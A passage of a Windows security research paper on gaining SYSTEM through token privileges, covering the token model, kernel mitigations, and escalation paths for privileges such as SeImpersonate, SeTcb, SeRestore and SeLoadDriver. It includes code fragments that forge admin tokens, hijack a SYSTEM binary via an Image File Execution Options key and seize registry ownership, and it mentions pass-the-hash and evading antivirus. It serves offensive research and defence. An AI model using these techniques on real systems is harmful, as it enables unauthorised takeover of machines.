Permalink
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
token-priv/abusing_token_eop_1.0.txt
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
1140 lines (924 sloc)
56.4 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|=-----------------------------------------------------------------------=| | |
|=----------------=[ Abusing Token Privileges For LPE]=------------------=| | |
|=-----------------------------------------------------------------------=| | |
|=----------------------=[ drone <@dronesec> ]=--------------------------=| | |
|=----------------=[ breenmachine <@breenmachine>]=----------------------=| | |
|=-----------------------------------------------------------------------=| | |
--[ Table of contents | |
0 - Introduction | |
1 - Token Overview | |
1.1 - Windows Privilege Model | |
1.2 - Token Structure and Privileges | |
1.3 - Token Impersonation | |
2 - Modern Mitigations and Techniques | |
2.1 - Modern Windows Kernel Mitigations | |
2.2 - Relevant Exploitation Strategies | |
3 - Abusing Token Privileges | |
3.1 - Exploitable Privileges | |
3.2 - Exploiting Partial Writes | |
3.3 - Abusing Existing Service Accounts | |
4 - Case Studies | |
4.1 - MS16-135 | |
4.2 - MS15-061 | |
4.3 - HEVD | |
5 - Conclusions | |
6 - Greets | |
7 - References | |
--[ 0 - Introduction | |
Windows kernel exploitation has grown increasingly complex over the last | |
several years, particularly with the release of Windows 10 and its | |
successive core updates. Techniques have been born and died over the | |
course of months, new ones quickly replacing them. Techniques themselves | |
have grown hyper specific or brittle, fitting only a particular pattern or | |
space. | |
Exploitation has often relied on obtaining some form of arbitrary code | |
execution. Obtaining a read/write primitive, stacking strategies to evade | |
mitigations, and eventually obtaining the execution of a privileged action. | |
Recently we've seen a trend towards logic basic actions, such as token | |
stealing, enabling god mode bits, or NULLing out token security descriptors | |
[0]. These actions delegate the theft of privileges to userland, freeing | |
the exploit dev from the confines of kernel hell. | |
The token stealing shellcode popularized by many exploit developers and | |
malware authors over the years is not one of chance. It's been an | |
extremely reliable technique offering stable, simple shellcode and, until | |
recently, acceptable behavior. Microsoft has implemented detection | |
heuristics within its Advanced Threat Protection platform [2], but as of | |
yet not implemented anything within the Windows kernel itself. For malware | |
writers and skiddies, this might be tolerable, but for advanced adversaries | |
or red teamers, it is not. | |
This paper aims to discuss one such logic-based technique that we've | |
refined over the last several months and exploits. Although the techniques | |
themselves are not new [2], we hope to present new approaches and ideas | |
that may aid in the further refinement of this technique and others. | |
In addition to kernel exploitation, token privileges can be abused in other | |
less exotic ways. In situations where a service account is compromised, | |
which has non-standard privileges enabled, they can often be leveraged to | |
gain elevation of privilege (EoP). The methods for doing this are specific | |
to each privilege, often undocumented, and in many cases non-trivial. In | |
section 3.3 of this paper we demonstrate how many of these privileges can be | |
abused for EoP in common penetration testing and red teaming scenarios. | |
We aim to consolidate disparate sources and provide reference for future | |
work. We acknowledge the time and efforts of other researches within the | |
same space, and hope to give something meaningful back to the community at | |
large. | |
--[ 1 - Token Overview | |
The basis of our strategy again stems from the very core of the object | |
access model within Windows. Windows uses token objects to describe the | |
security context of a particular thread or process. These token objects, | |
represented by the nt!_TOKEN structure, contain a vast swath of security | |
and referential information, including integrity level, privileges, groups, | |
and more. Our focus lies on the privileges contained within these tokens. | |
----[ 1.1 - Windows Privilege Model | |
We'll briefly describe the Windows privilege model as it relates to process | |
and thread tokens. If you'd like an in-depth explanation, the authors | |
recommend Windows Internals Part 1 or spending some time in windbg. | |
Each process on the system holds a token object reference within its | |
EPROCESS structure which is used during object access negotiations or | |
privileged system tasks. This token is granted via LSASS during the logon | |
process, and thus all processes within a session run under the same token, | |
initially. | |
A process holds a primary token and threads executing within the process | |
inherit this same token. When a thread needs to access an object using a | |
different set of credentials, it can use an impersonation token. Using an | |
impersonation token does not impact the primary token or other threads, but | |
only execution in the context of the impersonating thread. These | |
impersonation tokens can be obtained via a number of different APIs | |
provided by the kernel. | |
The token serves as a processes access ticket, which must be presented to | |
the various gatekeepers within Windows; it's evaluated via SeAccessCheck on | |
object access and by SeSinglePrivilegeCheck during privileged operations. | |
When a process requests write access to a file, for example, SeAccessCheck | |
will evaluate the tokens integrity level followed by an evaluation of its | |
Discretionary Access Control List (DACL). When a process attempts to | |
shutdown a system via NtShutdownSystem, the kernel will evaluate whether or | |
not the requesting process token has SeShutdownPrivilege enabled. | |
----[ 1.2 - Token Structure and Privileges | |
As mentioned, the _TOKEN structure primarily contains security context | |
information about a process or thread. The relevant entry for our purposes | |
is _SEP_TOKEN_PRIVILEGES, located at offset 0x40, containing token | |
privilege information: | |
kd> dt nt!_SEP_TOKEN_PRIVILEGES c5d39c30+40 | |
+0x000 Present : 0x00000006`02880000 | |
+0x008 Enabled : 0x800000 | |
+0x010 EnabledByDefault : 0x800000 | |
The Present entry represents an unsigned long long containing the present | |
privileges on the token. This does not mean that they are enabled or | |
disabled, but only that they exist on the token. Once a token is created, | |
you cannot add privileges to it; you may only enable or disable existing | |
ones found in this field. The second field, Enabled, represents an | |
unsigned long long containing all enabled privileges on the token. | |
Privileges must be enabled in this bitmask to pass the | |
SeSinglePrivilegeCheck. The final field, EnabledByDefault, represents the | |
initial state of the token at the moment of conception. | |
Privileges can be enabled or disabled by twiddling specific bits within | |
these fields. For example, to enable SeCreateTokenPrivilege, one would | |
simply need to execute: _SEP_TOKEN_PRIVILEGES+0x44 |= 1 << 0x000000002. | |
Disabling the privilege would be the inverse: _SEP_TOKEN_PRIVILEGES+0x44 &= | |
~(1 << 0x000000002). A Pykd helper script can be found here [3]. | |
Up until recently, one must only set bits within the Enabled field to | |
actually toggle privileges within a token. This means that a single write, | |
partial or otherwise, is enough to enable privileges. With the release of | |
Windows 10 v1607, however, the kernel now verifies that the enabled bits | |
are also flipped in the Present field [4]. | |
Although on the surface the tokens security model of defining specific | |
privileges for various tasks appears to allow for the implementation of | |
service specific, fine-grained access controls, a closer look reveals a | |
more complex situation. Many of the privileges, when enabled, allow the | |
user to perform privileged actions that can result in elevation of | |
privilege. This effectively destroys the "fine-grain" access control | |
structure and can provide a false sense of security. | |
----[ 1.3 - Token Impersonation | |
Before diving into specific privileges, it will be beneficial to describe | |
the Windows mechanism for determining whether a specific thread can make | |
use of a given token. Any user may be able to obtain a handle to a | |
privileged token, but being able to actually use it is another matter. | |
In Windows, “Token Impersonation” is when a new token is assigned to a | |
thread that is different from the parent process's token. Although the word | |
impersonation implies that one user is using a token belonging to a | |
different user, this is not always the case. A user may impersonate a token | |
that belongs to them but simply has a different set of privileges or some | |
other modifications. | |
One of the fields specified in every token is the tokens impersonation | |
level. This field controls whether that token can be used for impersonation | |
purposes and to what degree. The four impersonation levels are as follows: | |
SecurityAnonymous - The server cannot impersonate or identify the client. | |
SecurityIdentification - The server can get the identity and privileges of | |
the client, but cannot impersonate the client. | |
SecurityImpersonation - The server can impersonate the client's security | |
context on the local system. | |
SecurityDelegation - The server can impersonate the client's security | |
context on remote systems. | |
SecurityImpersonation and SecurityDelegation are the most interesting cases | |
for us. Identification tokens and lower can not be used to run code. | |
Whether or not a given user is allowed to impersonate a specific token can | |
be determined as follows: | |
IF the token level < Impersonate THEN allow (such tokens are called | |
“Identification” level and can not be used for privileged actions). | |
IF the process has “Impersonate” privilege THEN allow. | |
IF the process integrity level <= the token integrity level AND | |
the process user == token user THEN allow ELSE restrict the | |
token to “Identification” level (no privileged actions possible). | |
--[ 2 - Modern Mitigations and Techniques | |
Windows 10 significantly improves upon the security of the Windows kernel, | |
both in overall reducing the attack surface and improving existing | |
defenses. Microsoft continues to iterate on defensive mechanisms: KASLR | |
continues to receive much needed improvements (still many leaks), hardening | |
of often exploited structures for read/write primitives (tagWND), and | |
mitigating the revered NULL SecurityDescriptor technique [5]. As attackers | |
have demonstrated over the years, squashing individual strategies only | |
gives birth to newer ones, and the cycle continues. | |
In order to provide some context on the topics discussed, a brief | |
description of modern kernel mitigations and exploitation techniques | |
follows. These sections are by no means authoritative or comprehensive, | |
and are meant only to reinforce the overall complexity and upfront | |
investment cost of modern kernel exploitation. Go ask Ionescu if you have | |
questions. | |
----[ 2.1 - Modern Windows Kernel Mitigations | |
Windows 10 and successive updates (Anniversary/Creators) have included a | |
number of exploit mitigation improvements, detailed by Skape et al. at | |
Blackhat 2016 [8]. We recommend reviewing the referenced slides for | |
further details and statistics on general Windows mitigation strategies. | |
We will focus on mitigations relevant to the topic at hand. | |
Kernel ASLR has seen improvement by enabling ASLR on various regions and | |
structures within the kernel. Though this is a strong mitigation strategy | |
for remote kernel exploits, there exists several public and private | |
strategies for leaking object addresses in the kernel [9], and thus does | |
not pose much of a threat for the technique detailed here. Core data | |
structures and memory regions once used for KASLR bypasses, such as the | |
HAL dispatch table, are now fully randomized. | |
The AppContainer, first introduced in Windows 8, provides sandboxing | |
capabilities for userland applications. This control has been expanded upon in | |
Windows 10 to include win32k system call filtering which restricts the | |
process from abusing various win32k syscalls. This is currently only | |
(officially) enabled for the Edge browser, and thus is not very interesting. | |
A common kernel read/write primitive is the tagWND structure, which when | |
corrupted allows for arbitrary read/writes via | |
InternalGetWindowText/NtUserDefSetText. Exploits for MS15-061 and more | |
recently MS16-135 were found to be taking advantage of this technique. The | |
Anniversary Update now provides additional bounds checks on this specific | |
object, rendering it useless. Though this form of technique squashing is | |
rudimentary, a mere annoyance in having to find other rw primitives, it | |
can be effective for breaking already deployed/developed chains. | |
The introduction of SMEP in Windows 8 means we can no longer ask the kernel | |
to execute userland shellcode for us. Many bypasses have been used over | |
the years, some still effective, most not. Evasion generally involves | |
disabling some principle of mitigation or getting code into the kernel (via | |
RWX regions or KROP). Because we're not looking to execute any shellcode | |
within the kernel or even in userland, this mitigation does not apply. | |
Another interesting mitigation is the mythical Patchguard, formerly known | |
as Kernel Patch Protection, introduced many moons ago to the x64 NT kernel. | |
If you're unfamiliar with this mitigation, know that it is the kernel | |
boogeyman. It monitors a random subset of checks, at random times, for | |
random reasons. Its initialization and runtime behavior are obfuscated. | |
Its source code and behavior are obfuscated from even internal Windows | |
developers. Skywing and Skape have previously done quite a bit of work | |
reversing and documenting portions of it, and should be referenced for | |
further tales of intrigue [18]. | |
As of Windows 10, there are 44 different checks in Patchguard (visible via | |
!analyze -show 109), and while the authors are suspicious of the lists | |
completeness, there is no protection of process tokens. | |
----[ 2.2 - Relevant Exploitation Strategies | |
Previous, related work that provided influence and indirect guidance for this | |
article's strategy is presented here. These related techniques are briefly | |
detailed to provide background and to pay homage to those who came before | |
us. | |
Cesar Cerrudos Easy Local Windows Kernel Exploitation paper released at | |
Blackhat 2012 [1] introduced three different privilege escalation | |
strategies, and pointed many exploit devs towards the power of abusing | |
process tokens. The first technique demonstrated in the paper details the | |
NULL ACL strategy, now partially mitigated, in which an arbitrary | |
write could be leveraged to NULL a privileged object's ACL. This was and is a | |
very common strategy for effectively migrating into more privileged | |
processes. | |
The second Cerrudos strategy is a carpet bombing version of ours, in which an | |
arbitrary write could enable all privileges in a process token. With these | |
privileges enabled, one could exploit SeDebugPrivilege and migrate into a | |
more privileged process, create tokens with SeCreateTokenPrivilege, or load | |
kernel drivers with SeLoadDriverPrivilege. | |
The third and final Cerrudos strategy is another technique very popular in | |
modern EoP exploits, and involves replacing a process token with a SYSTEM | |
token. This has been widely detailed from various perspectives elsewhere, | |
and will not be repeated here. | |
Yin Liang and Zhou Li of Tencent conducted and released similar research at | |
Blackhat Europe 2016, in which they demonstrated abusing partial writes | |
with window objects in order to obtain rw primitives [11]. Much like our | |
work, they focused on partially controlled, limited write bugs such as | |
MS16-135 and CVE-2016-0174 in which the target of an OR or DEC may be | |
controlled. In these cases, particularly those involving win32k, our | |
strategy obviates the need to obtain a primitive. | |
Moritz Jodeit published a great article on CVE-2014-4113, in which he | |
targeted the _SEP_TOKEN_PRIVILEGES structure with an uncontrolled write in | |
order to enable additional token privileges [12]. His technique is of | |
interest because it demonstrated, at the time, modern mitigation evasion | |
without any pointer overwrites or the execution of shellcode, with the | |
added benefit of a vastly simplified exploitation process. | |
--[ 3 - Abusing Token Privileges | |
----[ 3.1 - Exploitable Privileges | |
For the purpose of this paper, we will define an “exploitable” privilege as | |
any token privilege that can be used alone to gain “NT AUTHORITY\SYSTEM” | |
level access to the target system. The term “exploit” is used loosely here, | |
in most cases these exploits are intended, albeit undocumented, behavior. | |
As was mentioned in section 1.2, the nt!_SEP_TOKEN_PRIVILEGES structure is | |
a binary field in the token where each bit determines whether a given | |
privilege is present or enabled in the token. The exact structure of this | |
bitmask, which bits correspond to which privileges, can be found in the | |
code released with this project, specifically the pykd script - | |
“tokenum.py”. | |
The remainder of this section deals with the details of each privilege we | |
were able to successfully abuse to gain elevated privileges. Code samples | |
to take advantage of each of these privileges are included with this | |
project. | |
------ [ 3.1.1 - SeImpersonatePrivilege | |
The SeImpersonatePrivilege is described on MSDN as “User Right: Impersonate | |
a client after authentication.” This is the privilege referred to in | |
section 1.4, in the second step, when checking whether a specific process can | |
impersonate a given token. Any process holding this privilege can | |
impersonate any token for which it is able to get a handle. It should be | |
noted that this privilege does not allow for the creation of new tokens. | |
This particular privilege is quite interesting because it is required by a | |
number of common Windows service accounts, such as LocalService and those | |
for MSSQL and IIS. An “exploit” for this privilege then would also yield | |
elevation of privilege if any such accounts were compromised. This was the | |
subject of previous work by the authors [6]. | |
In [20], a method to gain a handle to a token for the “NT AUTHORITY\SYSTEM” | |
account is described. Basically a Windows service (DCOM) is passed a | |
specially crafted object that contains a reference to an attacker | |
controlled TCP listener on the local machine. When Windows tries to resolve | |
this reference, the attacker requests NTLM authentication and then relays | |
the NTLM authentication sent to the listener to create a new token on the | |
local machine. This token will be for the user “NT AUTHORITY\SYSTEM” and | |
have full administrative privilege. | |
Any user can perform the previously described procedure to gain a handle to | |
a token for the “NT AUTHORITY\SYSTEM” user, however in order to make use of | |
this handle, the ability to impersonate is required; the | |
SeImpersonatePrivilege allows us to do just that. All that is required to | |
spawn a new process with the elevated token is to call the | |
CreateProcessWithToken function, passing the new token as the first | |
argument. | |
------ [ 3.1.2 - SeAssignPrimaryPrivilege | |
The SeAssignPrimaryPrivilege is offensively very similar to the previously | |
discussed SeImpersonatePrivilege. It is needed to “assign the primary token | |
of a process”. Our strategy will be to spawn a new process using an | |
elevated token. | |
In order to create a new process with a privileged token, we will first | |
need to get a handle to such a token. To do this, we follow the procedure | |
described in [20] and briefly outlined in section 3.1.1. | |
As the name of this privilege implies, it allows us to assign a primary | |
token to a new or suspended process. Using the strategy outlined in 3.1.1 | |
to obtain a token, we find ourselves with a privileged impersonation token, | |
and thus will need to first derive a primary token from it. This can be | |
accomplished via the DuplicateTokenEx function: | |
DuplicateTokenEx(hClientToken, TOKEN_ALL_ACCESS, | |
NULL, SecurityAnonymous, | |
TokenPrimary, &hDupedToken); | |
With a privileged primary token in hand, we now have a few options. | |
Unfortunately, we cannot simply swap the token of our currently running | |
process for the elevated one, as changing primary tokens on running | |
processes is not supported behavior. This is controlled by the | |
PrimaryTokenFrozen field in the EPROCESS structure. | |
The simplest option is to make a call to “CreateProcessAsUser” using the | |
new token as an argument to create a new, highly privileged process. | |
Alternatively, we can spawn a new process in the suspended state and | |
perform the same operation as above. When a new processes is created | |
with a call to CreateProcess(..., CREATE_SUSPENDED, ...), the value for | |
PrimaryTokenFrozen is not yet set, allowing the token to be swapped. | |
A corollary to the previous point is that in some partial write | |
exploitation scenarios, we can actually swap the token of the currently | |
running process for an elevated one. If we can cause the PrimaryTokenFrozen | |
field to be unset through our partial write, assuming we possess, or can | |
gain SeAssignPrimaryTokenPrivilege, we can then call | |
NtSetInformationProcess to swap the old token for the new one. Since | |
PrimaryTokenFrozen is a single bit field, the surrounding fields are | |
relevant because they will likely be trashed by any sort of partial write: | |
+0x0c8 RefTraceEnabled : Pos 9, 1 Bit | |
+0x0c8 DisableDynamicCode : Pos 10, 1 Bit | |
+0x0c8 EmptyJobEvaluated : Pos 11, 1 Bit | |
+0x0c8 DefaultPagePriority : Pos 12, 3 Bits | |
+0x0c8 PrimaryTokenFrozen : Pos 15, 1 Bit | |
+0x0c8 ProcessVerifierTarget : Pos 16, 1 Bit | |
+0x0c8 StackRandomizationDisabled : Pos 17, 1 Bit | |
If for example you've got an arbitrary decrement, as in MS15-061, you can | |
unset the TokenPrimaryFrozen bit and swap your process token out: | |
NtSetInformationProcess(hCurrentProcess, | |
(PROCESS_INFORMATION_CLASS)0x09, | |
&hElevatedPrimaryToken, 8); | |
------ [ 3.1.3 - SeTcbPrivilege | |
SeTcbPrivilege is quite interesting, MSDN describes it as “This privilege | |
identifies its holder as part of the trusted computer base. Some trusted | |
protected subsystems are granted this privilege.” In addition to this, a | |
number of books, articles, and forum posts describe the TCB privilege as | |
being equivalent to fully privileged access to the machine. However, | |
despite all this, no publicly available resources seem to indicate HOW the | |
SeTcbPrivilege can be used, on its own, to perform privileged operations. | |
We began by analyzing MSDN documentation, trying to find which Windows API | |
calls were restricted to accounts with SeTcbPrivilge. In the documentation | |
for the LsaLogonUser function, we find the following as the first | |
parameter: | |
LsaHandle [in] A handle obtained from a previous call to | |
LsaRegisterLogonProcess. The caller is required to have SeTcbPrivilege | |
only if one or more of the following is true: | |
+ A Subauthentication package is used. | |
+ KERB_S4U_LOGON is used, and the caller requests an impersonation token. | |
+ The LocalGroups parameter is not NULL. | |
If SeTcbPrivilege is not required, call LsaConnectUntrusted to obtain | |
the handle. | |
Normally the LsaLogonUser API call is used to authenticate a user with some | |
form of credentials, however we are assuming that we have no knowledge of | |
the target system and its users. Further, which user will we attempt to | |
logon? Finally, how will we impersonate the resulting token since we do not | |
have SeImpersonatePrivilege? | |
Thankfully James Forshaw chimed in with a very useful <140 character | |
message: | |
“you could use LsaLogonUser to add admin group to a token of your own user, | |
then impersonate.” | |
There is an interesting logon type in Windows known as S4U logon (and | |
referenced above as KERB_S4U_LOGON). It is effectively described in an MSDN | |
blog post [19] as follows: | |
“In Windows, it is possible to logon as a different domain user without any | |
credentials. This is known as a S4U or a Service For User Logon. This is | |
a Microsoft Extension to Kerberos introduced with Windows Server 2003.” | |
This seems to fit what we are trying to do perfectly; using the S4U logon | |
type, we can obtain a token for any user. Referring back to the | |
documentation for the LsaHandle parameter above, if we have SeTcbPrivilege, | |
apparently the resulting token can be an “impersonation” token, meaning we | |
can assign it to a thread. | |
Referring again to the LsaHandle parameter, the last bullet point implies | |
that we can call LsaLogonUser with SeTcbPrivilege and add arbitrary groups | |
to the resulting token returned by this call. We will add the group SID | |
“S-1-5-18” to the token, this is the SID for the Local System account and | |
if we are using a token that possesses it, we will have full privilege on | |
the system. Adding the SYSTEM SID is quite straightforward: | |
WCHAR systemSID[] = L"S-1-5-18"; | |
ConvertStringSidToSid(systemSID, &pExtraSid); | |
pGroups->Groups[pGroups->GroupCount].Attributes = | |
SE_GROUP_ENABLED | SE_GROUP_MANDATORY; | |
pGroups->Groups[pGroups->GroupCount].Sid = pExtraSid; | |
pGroups->GroupCount++; | |
The only piece remaining in this puzzle is how we will use the resulting | |
impersonation token, since we are assuming that we have SeTcbPrivilege, but | |
no other impersonation related privileges. Referring back to section 1.4 on | |
the rules related to token impersonation, we can see that we should be able | |
to impersonate the token without any special privileges as long as the | |
token is for our current user and the integrity level of the token is | |
“Medium”. So using the token returned by LsaLogonUser, we simply set the | |
integrity level to “Medium” and then call SetThreadToken to replace our | |
current thread's token with the new one. | |
------ [ 3.1.4 - SeBackupPrivilege | |
The SeBackupPrivilege is described on MSDN as follows: | |
“Required to perform backup operations. This privilege causes the system to | |
grant all read access control to any file, regardless of the access control | |
list (ACL) specified for the file. Any access request other than read is | |
still evaluated with the ACL. This privilege is required by the RegSaveKey | |
and RegSaveKeyExfunctions. The following access rights are granted if this | |
privilege is held: -READ_CONTROL -ACCESS_SYSTEM_SECURITY -FILE_GENERIC_READ | |
-FILE_TRAVERSE” | |
To use this privilege for EoP, we read the password hashes of local | |
Administrator accounts from the registry and then pass these to a local | |
service from which we can get code execution, the most popular technique | |
here would simply be passing the hash with “psexec” or “wmiexec”. | |
Unfortunately for us there are two caveats in this scenario. First, many | |
organizations over the past several years have begun to disable local | |
administrator accounts. Second, even in cases where some local | |
administrator accounts remain enabled, Microsoft implemented a change in | |
Windows Vista and newer where only the RID 500 (the default local | |
Administrator) account can administer the machine remotely by default: | |
When a user who is a member of the local administrators group on the | |
target remote computer establishes a remote administrative | |
connection…they will not connect as a full administrator. The user has | |
no elevation potential on the remote computer, and the user cannot | |
perform administrative tasks. | |
In our experience however, it is still fairly common in enterprise | |
environments to find the RID 500 local administrator account enabled. | |
------ [ 3.1.5 - SeRestorePrivilege | |
The restore privilege is described as being “required to perform restore | |
operations”, and causes the system to grant all write access control to any | |
file on the system, regardless of the files ACL. Additionally, this | |
privilege allows the holding process or thread to change the owner of a | |
file. The implications of obtaining this privilege should be obvious. | |
In order to use this privilege, one must supply the | |
FILE_FLAG_BACKUP_SEMANTICS flag to supporting APIs. This tips the kernel | |
off that the requesting process might have SeBackupPrivilege or | |
SeRestorePrivilege enabled, and to check for it before short circuiting the | |
DACL check. Keen observers may infer from the terse description of the | |
privilege on MSDN that this also allows for the creation or modification of | |
registry keys. | |
Arbitrary writes to HKLM opens up infinite potential for privilege | |
escalation. We chose to use the Image File Execution Options key, used for | |
debugging software on a system. When a system binary is launched, if an | |
HKLM entry exists for it at HKLM\SOFTWARE\Microsoft\Windows | |
NT\CurrentVersion\Image File Execution Options and it contains a Debugger | |
key, it will execute the set entry. This technique is fairly common for | |
malware persistence and privilege escalation vulnerabilities [7]. | |
Exploitation simply requires opening the registry, specifying the backup | |
flag, and creating the key: | |
RegCreateKeyExA( | |
HKEY_LOCAL_MACHINE, | |
“HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File | |
Execution Options\wsqmcons.exe”, | |
0, NULL, | |
REG_OPTION_BACKUP_RESTORE, | |
KEY_SET_VALUE, | |
NULL, | |
&hkReg, | |
NULL); | |
RegSetValueExA(hkReg, | |
"Debugger", 0, REG_SZ, | |
(const BYTE*)regentry, | |
strlen(regentry) + 1); | |
In the above sample we used wsqmcons, a consolidator service that runs as | |
SYSTEM and is triggerable by a standard user on the system. | |
In addition to adding registry entries, one could also drop DLLs into | |
system folders for DLL hijacking, overwrite critical system resources, or | |
modify other services. | |
------ [ 3.1.6 - SeCreateTokenPrivilege | |
The “SeCreateTokenPrivilege” allows users to create primary tokens via the | |
ZwCreateToken API. Unfortunately, this right alone does not allow the user | |
to use the token they have just created. Therefore naive attempts to create | |
and use tokens for high privileged users such as “NT AUTHORITY\SYSTEM” will | |
not succeed. | |
Recall the rules for token impersonation from section 1.4. A user is | |
allowed to impersonate a token even without SeImpersonatePrivilege so long | |
as the token is for the same user and the integrity level is less than or | |
equal to the current process integrity level. | |
In order to leverage SeCreateTokenPrivilege, we need only craft a new | |
impersonation token that matches the requesting token with the addition of | |
a privileged group SID. This is in theory pretty simple to do, but the API | |
for these interfaces and ZwCreateToken is not very friendly. Most of the | |
fields we can query from our executing token via GetTokenInformation, with | |
only a few exceptions. | |
As mentioned, we want to enable the local administrator group on the token. | |
To do this, we build a SID using the RID of the group: | |
SID_BUILTIN SIDLocalAdminGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, | |
DOMAIN_ALIAS_RID_ADMINS } }; | |
We then iterate over the token's groups and elevate it from user to | |
administrative membership: | |
for (int i = 0; i < groups->GroupCount; ++i, pSid++) { | |
PISID piSid = PISID)pSid->Sid; | |
if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == | |
DOMAIN_ALIAS_RID_USERS){ | |
memcpy(piSid, &TkSidLocalAdminGroup, sizeof(TkSidLocalAdminGroup)); | |
pSid->Attributes = SE_GROUP_ENABLED; | |
} | |
} | |
The final change is ensuring that we're building a TokenImpersonation | |
token. This can be set in the token's object attributes: | |
SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), | |
SecurityImpersonation, | |
SECURITY_STATIC_TRACKING, FALSE }; | |
OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos }; | |
Provided we maintain the token user and integrity level, we can finally use | |
the token and impersonate the executing thread. | |
------ [ 3.1.7 - SeLoadDriverPrivilege | |
The LoadDriver privilege is described by Microsoft as “User Right: Load and | |
unload device drivers”. The fact that device drivers run in the kernel | |
makes this a very desirable privilege. | |
Our goal then is to execute arbitrary code in the kernel given only | |
SeLoadDriverPrivilege and to bypass any driver signing requirements in the | |
process; a tall order. Most documentation on this privilege and the | |
associated “NtLoadDriver” Windows API call assumes that the caller has | |
additional privilege on the system, specifically the ability to write to | |
the HKLM (HKEY_LOCAL_MACHINE) section of the Windows registry. | |
The format of the Windows API call to load a driver is as follows: | |
NTSTATUS NtLoadDriver( _In_ PUNICODE_STRING DriverServiceName); | |
DriverServiceName [in] Pointer to a counted Unicode string that specifies a | |
path to the driver's registry key, | |
\Registry\Machine\System\CurrentControlSet\Services\DriverName, where | |
DriverName is the name of the driver. | |
The DriverServiceName parameter is a pointer to a registry location. Under | |
the “DriverName” key, there should be at least the following two values: | |
+ ImagePath - A string in the format “\??\C:\path\to\driver.sys” | |
+ Type - A DWORD that should be set to “1” | |
Notice the “DriverServiceName” parameter format supposedly (according to | |
the documentation) must begin with “\Registry\Machine” which is a reference | |
to the HKLM registry key for which we are assuming we do not have access. | |
In order to circumvent this obstacle, we can actually use a path that | |
points to HKCU (HKEY_CURRENT_USER) instead such as | |
“\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003\”. Here the | |
numeric ID in the string is the RID for our current user. We must do this | |
because the kernel doesn't know what HKCU is, as it's purely a userland | |
helper that points into the HKLM hive. | |
Since “System\CurrentControlSet\Services\DriverName” does not exist under | |
this path we must create it, which we can do since it is the current user's | |
registry hive. The format for loading a simple driver is fairly | |
straightforward. We must, at minimum, define two things: | |
+ REG_DWORD Type | |
+ REG_SZ ImagePath | |
The type defines the service, as listed in wdm.h: | |
#define SERVICE_KERNEL_DRIVER 0x00000001 | |
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002 | |
#define SERVICE_ADAPTER 0x00000004 | |
#define SERVICE_RECOGNIZER_DRIVER 0x00000008 | |
[....] | |
In our case, we'll use the SERVICE_KERNEL_DRIVER type. Once these values | |
are set, we can then invoke NtLoadDriver with a path to our registry key | |
and load the driver into the kernel. | |
There are several other strategies that can be used to load kernel mode | |
drivers, such as the FltMgr or condrv key, but these cannot be used without | |
administrative privileges in the first place. | |
------ [ 3.1.8 - SeTakeOwnershipPrivilege | |
This privilege is, offensively, similar to SeRestorePrivilege. According | |
to MSDN, it allows a process to “take ownership of an object without being | |
granted discretionary access” by granting the WRITE_OWNER access right. | |
Exploiting this privilege is very similar to SeRestorePrivilege, except we | |
first need to take ownership of the registry key we want to write to. | |
Taking ownership of the registry key requires building an ACL with updated | |
ownership, then modifying the DACL so that we can write into it. Building | |
an ACL requires the construction of an EXPLICIT_ACCESS object: | |
ea[0].grfAccessPermissions = KEY_ALL_ACCESS; | |
ea[0].grfAccessMode = SET_ACCESS; | |
ea[0].grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT; | |
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID; | |
ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER; | |
ea[0].Trustee.ptstrName = (LPTSTR)user->User.Sid; // owner | |
We can then use SetEntriesInAcl to build the ACL object. Once the ACL | |
object is composed, we take ownership of the registry path: | |
SetNamedSecurityInfo( | |
_TEXT("MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion | |
\\Image File Execution Options"), | |
SE_REGISTRY_KEY, | |
OWNER_SECURITY_INFORMATION, | |
user->User.Sid, | |
NULL, NULL, NULL); | |
Once we own the registry key, we make one last call to SetNamedSecurityInfo | |
to enable the previously composed ACL and gain write privileges to the | |
entry: | |
SetNamedSecurityInfo(_TEXT("MACHINE\\SOFTWARE\\Microsoft\\Windows | |
NT\\CurrentVersion\\Image File Execution Options"), | |
SE_REGISTRY_KEY, // type of object | |
DACL_SECURITY_INFORMATION, // change DACL | |
NULL, NULL, // do not change owner or group | |
pACL, // DACL specified | |
NULL); | |
At this point we can follow the same steps taken via the SeRestorePrivilege | |
method, making sure to restore registry ownership once we're done. | |
Much like SeRestorePrivilege, we can also take control of critical system | |
files or folders to abuse DLL load order or other such techniques. | |
------ [ 3.1.9 - SeDebugPrivilege | |
SeDebugPrivilege is very powerful, it allows the holder to debug another | |
process, this includes reading and writing to that process' memory. This | |
privilege has been widely abused for years by malware authors and exploit | |
developers, and therefore many of the techniques that one would use to gain | |
EoP through this privilege will be flagged by modern endpoint protection | |
solutions. | |
There are a host of various memory injection strategies that can be used | |
with this privilege that evade a majority of AV/HIPS solutions. Finding | |
these is left as an exercise for the reader. | |
----[ 3.2 - Exploiting Partial Writes | |
With an understanding of how individual privileges can be exploited, we can | |
now begin to demonstrate how and why these might be useful to us. Case | |
studies will be discussed further in section 4. | |
This technique was born from attempts at evading various kernel and | |
userland mitigations via partial write exploits. To establish a familiar | |
vernacular, a partial write is an instruction in which the destination is | |
controlled, but the value written may not be. Or the value may be a single | |
bit or byte modification, such as a decrement or addition. Take for | |
example a DEC operation; if the destination address can be controlled, then | |
we've got the ability to arbitrarily decrement any address by one. The OR | |
instruction is another example; while we may control the destination in | |
which we perform the OR operation, we might not control the value in which | |
we OR it with: OR DWORD PTR[controlled], 4. | |
Commonly, exploiting these would require modifying object fields, such as a | |
length, in order to obtain an arbitrary or partial read/write primitive. | |
Others may make modifications to page tables or mangle other kernel mode | |
data structures. These are all pieces to a larger exploit chain that | |
generally ends in NULLing an ACL, swapping process tokens, or executing a | |
privileged usermode process. Privileged execution (see:payload) changes | |
